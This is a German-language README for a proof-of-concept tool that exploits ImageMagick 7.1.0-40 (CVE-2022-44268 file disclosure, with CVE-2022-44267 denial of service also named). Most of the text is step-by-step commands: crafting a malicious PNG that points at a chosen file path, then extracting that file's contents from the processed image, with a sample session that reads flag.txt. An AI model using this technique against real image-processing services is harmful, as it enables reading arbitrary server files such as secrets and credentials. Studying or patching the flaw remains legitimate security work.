CVE-2022-44268

Dank an die Forscher, die dies entdeckt haben:

• Bryan Gonzalez and the Ocelot Team

Erstelle eine bösartige PNG-Datei, um ImageMagick 7.1.0-40 auszunutzen:

• CVE-2022-44267: Denial of Service
• CVE-2022-44268: Offenlegung von Informationen

Haftungsausschluss: Der Autor dieses Projekts ist nicht für mögliche Schäden verantwortlich, die durch die Materialien dieses Projekts verursacht werden.

Voraussetzungen

• Python3
• PIL (pip install Pillow)

Verwendung

Erstellen einer PNG-Datei mit craft.py:

git clone https://github.com/agathanon/cve-2022-44268
cd cve-2022-44268
python3 craft.py original.png lol.png /path/to/file

Datenextraktion mit extract.py:

python3 extract.py exfil.png

PoC

anon@computer:~/code/cve-2022-44268$ python3 craft.py original.png readflag.png $PWD/flag.txt 
anon@computer:~/code/cve-2022-44268$ convert readflag.png -resize 100x100 exfil.png
anon@computer:~/code/cve-2022-44268$ python3 extract.py exfil.png
AAAABBBBCCCC

anon@computer:~/code/cve-2022-44268$